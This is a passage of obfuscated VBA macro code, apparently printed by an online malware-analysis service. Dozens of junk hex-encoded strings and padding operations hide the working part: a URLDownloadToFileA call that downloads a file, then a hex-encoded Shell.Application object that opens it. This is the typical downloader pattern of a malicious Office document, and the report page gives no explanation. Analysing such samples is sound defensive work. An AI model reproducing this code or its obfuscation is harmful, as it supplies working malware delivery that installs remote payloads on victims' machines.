RoDBAORP = v67fYKdf("2020202020202020202020584B58525451202020202020202020202020202020")
Dim vXeOZYxm, rKPrHzfd, ODlvexyr As String
vXeOZYxm = v67fYKdf("202020202020202020202041474B4B505A202020202020202020202020202020")
rKPrHzfd = LTrim(vXeOZYxm)
ODlvexyr = RTrim(rKPrHzfd)
noCqWDzQ = LTrim(RoDBAORP)
Dim caYXKrer, NsWGAAQv, gzNlYdCu As String
caYXKrer = v67fYKdf("20202020202020202020204F4D4D4D5754202020202020202020202020202020")
NsWGAAQv = LTrim(caYXKrer)
gzNlYdCu = RTrim(NsWGAAQv)
wpuxhKvS = RTrim(noCqWDzQ)
Dim YylWVGbf, LsyVnEEv, JXOPvToV As String
YylWVGbf = v67fYKdf("2020202020202020202020474656554443202020202020202020202020202020")
LsyVnEEv = LTrim(YylWVGbf)
JXOPvToV = RTrim(LsyVnEEv)
RHENKqif = v67fYKdf("202020202020202020202053474C585749202020202020202020202020202020")
Dim LJiNUuRW, vSHmMAxS, keYyQIQh As String
Dim alulkWhJ, CljRSNSK, KmAHurpL As String
alulkWhJ = v67fYKdf("202020202020202020202055565946414A202020202020202020202020202020")
CljRSNSK = LTrim(alulkWhJ)
KmAHurpL = RTrim(CljRSNSK)
LJiNUuRW = v67fYKdf("202020202020202020202051534D4E5347202020202020202020202020202020")
Dim LFXwGalQ, vOEHzxqE, rRsqhJzw As String
LFXwGalQ = v67fYKdf("2020202020202020202020524E5045414C202020202020202020202020202020")
vOEHzxqE = LTrim(LFXwGalQ)
rRsqhJzw = RTrim(vOEHzxqE)
vSHmMAxS = LTrim(LJiNUuRW)
Dim hslilwXq, EzcQcuiL, ydSTuRJd As String
hslilwXq = v67fYKdf("202020202020202020202056464F4B4C57202020202020202020202020202020")
EzcQcuiL = LTrim(hslilwXq)
ydSTuRJd = RTrim(EzcQcuiL)
keYyQIQh = RTrim(vSHmMAxS)
Dim ONegrsxd, WyGkTBnc, MJltEayX As String
ONegrsxd = v67fYKdf("20202020202020202020204851474A4849202020202020202020202020202020")
WyGkTBnc = LTrim(ONegrsxd)
MJltEayX = RTrim(WyGkTBnc)
uzKMAIJU = LTrim(RHENKqif)
Dim GTNfjtOu, rwyJwHWG, YUmQtfRp As String
Dim LezmEPaJ, FesYVGvK, PrwKlLXL As String
LezmEPaJ = v67fYKdf("2020202020202020202020454745475953202020202020202020202020202020")
FesYVGvK = LTrim(LezmEPaJ)
PrwKlLXL = RTrim(FesYVGvK)
GTNfjtOu = v67fYKdf("202020202020202020202051564E574B53202020202020202020202020202020")
Dim grecMTUj, LBPKuNbo, ShAEVuFS As String
grecMTUj = v67fYKdf("2020202020202020202020584B4A534B41202020202020202020202020202020")
LBPKuNbo = LTrim(grecMTUj)
ShAEVuFS = RTrim(LBPKuNbo)
rwyJwHWG = LTrim(GTNfjtOu)
Dim KZHKcaMA, mFtSuvEW, ORqhdpGE As String
KZHKcaMA = v67fYKdf("2020202020202020202020534357505851202020202020202020202020202020")
mFtSuvEW = LTrim(KZHKcaMA)
ORqhdpGE = RTrim(mFtSuvEW)
YUmQtfRp = RTrim(rwyJwHWG)
Dim aYPfCDBP, dSxjvAzW, bKolNhty As String
aYPfCDBP = v67fYKdf("2020202020202020202020425A59485358202020202020202020202020202020")
dSxjvAzW = LTrim(aYPfCDBP)
bKolNhty = RTrim(dSxjvAzW)
wKCcUleh = RTrim(uzKMAIJU)
Dim CfYXZtvO, ollBrLZM, utXSzWil As String
Dim wffZayaY, eLgcJvaX, BMvPsZvC As String
wffZayaY = v67fYKdf("2020202020202020202020505052514552202020202020202020202020202020")
eLgcJvaX = LTrim(wffZayaY)
BMvPsZvC = RTrim(eLgcJvaX)
CfYXZtvO = v67fYKdf("2020202020202020202020434B52495A52202020202020202020202020202020")
Dim zBykErrB, UWDSJvWJ, dHwurMDO As String
zBykErrB = v67fYKdf("202020202020202020202048484C4F5044202020202020202020202020202020")
UWDSJvWJ = LTrim(zBykErrB)
dHwurMDO = RTrim(UWDSJvWJ)
ollBrLZM = LTrim(CfYXZtvO)
Dim myuAycFG, CjwwGWcp, sunBWYOK As String
myuAycFG = v67fYKdf("20202020202020202020204E5145414458202020202020202020202020202020")
CjwwGWcp = LTrim(myuAycFG)
sunBWYOK = RTrim(CjwwGWcp)
utXSzWil = RTrim(ollBrLZM)
Dim brsRFkAP, SpVUhtRM, VhPPKLIt As String
brsRFkAP = v67fYKdf("20202020202020202020204B5656554352202020202020202020202020202020")
SpVUhtRM = LTrim(brsRFkAP)
VhPPKLIt = RTrim(SpVUhtRM)
nkjBJK = URLDownloadToFileA(0&, KHVnjbOd, mBHJBkd, 0&, 0&)
Dim QvcoFEZX, CRpshkTu, oPXgKyOj As String
Dim eLKRTgYm, VMzHNlrx, MWszmvAc As String
Dim mfMwJzPD, jfrUqyiF, sgfLTqTH As String
mfMwJzPD = v67fYKdf("20202020202020202020204A5742474457202020202020202020202020202020")
jfrUqyiF = LTrim(mfMwJzPD)
sgfLTqTH = RTrim(jfrUqyiF)
eLKRTgYm = v67fYKdf("20202020202020202020204951564D5541202020202020202020202020202020")
Dim mJlQTVaW, NDNyKlKD, RIIntFPR As String
mJlQTVaW = v67fYKdf("20202020202020202020204B5A5751584A202020202020202020202020202020")
NDNyKlKD = LTrim(mJlQTVaW)
RIIntFPR = RTrim(NDNyKlKD)
VMzHNlrx = LTrim(eLKRTgYm)
Dim PBOKHWkK, BGFwXYEn, AaehTrdM As String
PBOKHWkK = v67fYKdf("202020202020202020202049494A505449202020202020202020202020202020")
BGFwXYEn = LTrim(PBOKHWkK)
AaehTrdM = RTrim(BGFwXYEn)
MWszmvAc = RTrim(VMzHNlrx)
Dim jjWDuiCx, gzvntpZW, niqEYCYy As String
jjWDuiCx = v67fYKdf("2020202020202020202020594D51454A59202020202020202020202020202020")
gzvntpZW = LTrim(jjWDuiCx)
niqEYCYy = RTrim(gzvntpZW)
QvcoFEZX = v67fYKdf("2020202020202020202020434952584350202020202020202020202020202020")
Dim sxQEPdXx, JllVCUDg, xfalqeRy As String
Dim HvnqMzUR, QbPxgutT, UbWIIqAU As String
HvnqMzUR = v67fYKdf("2020202020202020202020414E47504757202020202020202020202020202020")
QbPxgutT = LTrim(HvnqMzUR)
UbWIIqAU = RTrim(QbPxgutT)
sxQEPdXx = v67fYKdf("2020202020202020202020464B52554242202020202020202020202020202020")
Dim JLLMlgTM, OoPTpwWc, gtkNcJSg As String
JLLMlgTM = v67fYKdf("202020202020202020202050444443544C202020202020202020202020202020")
OoPTpwWc = LTrim(JLLMlgTM)
gtkNcJSg = RTrim(OoPTpwWc)
JllVCUDg = LTrim(sxQEPdXx)
Dim dnNYTUkQ, GQgngtat, rAmrlHdD As String
dnNYTUkQ = v67fYKdf("202020202020202020202045595453474D202020202020202020202020202020")
GQgngtat = LTrim(dnNYTUkQ)
rAmrlHdD = RTrim(GQgngtat)
xfalqeRy = RTrim(JllVCUDg)
Dim fbKrfVjj, sqmJsNXG, cjuMDFNN As String
fbKrfVjj = v67fYKdf("2020202020202020202020545650515741202020202020202020202020202020")
sqmJsNXG = LTrim(fbKrfVjj)
cjuMDFNN = RTrim(sqmJsNXG)
CRpshkTu = LTrim(QvcoFEZX)
Dim nuVdgBtt, elduVxFb, kilPriNi As String
Dim msuiyIli, hdjlnSJo, sdATWJgp As String
msuiyIli = v67fYKdf("20202020202020202020204A4D594F5751202020202020202020202020202020")
hdjlnSJo = LTrim(msuiyIli)
sdATWJgp = RTrim(hdjlnSJo)
nuVdgBtt = v67fYKdf("20202020202020202020205043455A5545202020202020202020202020202020")
Dim AlWnCHWV, yhZWpqSH, QqphxTRU As String
AlWnCHWV = v67fYKdf("20202020202020202020205A4146464D59202020202020202020202020202020")
yhZWpqSH = LTrim(AlWnCHWV)
QqphxTRU = RTrim(yhZWpqSH)
elduVxFb = LTrim(nuVdgBtt)
Dim lXztNRYa, USiIthKO, pVxZFDAe As String
lXztNRYa = v67fYKdf("2020202020202020202020425541485042202020202020202020202020202020")
USiIthKO = LTrim(lXztNRYa)
pVxZFDAe = RTrim(USiIthKO)
kilPriNi = RTrim(elduVxFb)
Dim iKiEzmqv, mVMYEofO, lOclAqMi As String
iKiEzmqv = v67fYKdf("20202020202020202020205A554B564753202020202020202020202020202020")
mVMYEofO = LTrim(iKiEzmqv)
lOclAqMi = RTrim(mVMYEofO)
oPXgKyOj = RTrim(CRpshkTu)
Dim FHluoVtI, NXtpQSiK, szJddbse As String
Dim TmKWQDLQ, nwzuyKjS, wwslbXFD As String
TmKWQDLQ = v67fYKdf("20202020202020202020205856565A5044202020202020202020202020202020")
nwzuyKjS = LTrim(TmKWQDLQ)
wwslbXFD = RTrim(nwzuyKjS)
FHluoVtI = v67fYKdf("20202020202020202020204B5943444B41202020202020202020202020202020")
Dim KaRumWQT, cXdZUjEc, eKMCMQmg As String
KaRumWQT = v67fYKdf("2020202020202020202020525541584A48202020202020202020202020202020")
cXdZUjEc = LTrim(KaRumWQT)
eKMCMQmg = RTrim(cXdZUjEc)
NXtpQSiK = LTrim(FHluoVtI)
Dim mIPrSDcz, OvGUKvOP, sPrAAXlt As String
mIPrSDcz = v67fYKdf("20202020202020202020204E4E4B484552202020202020202020202020202020")
OvGUKvOP = LTrim(mIPrSDcz)
sPrAAXlt = RTrim(OvGUKvOP)
szJddbse = RTrim(NXtpQSiK)
Dim QGVHMIci, VWPLwxnl, paxXVqRE As String
QGVHMIci = v67fYKdf("20202020202020202020204A594452514C202020202020202020202020202020")
VWPLwxnl = LTrim(QGVHMIci)
paxXVqRE = RTrim(VWPLwxnl)
Set nvVhjkkj = CreateObject(v67fYKdf("5368656C6C2E4170706C69636174696F6E"))
nvVhjkkj.Open mBHJBkd
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.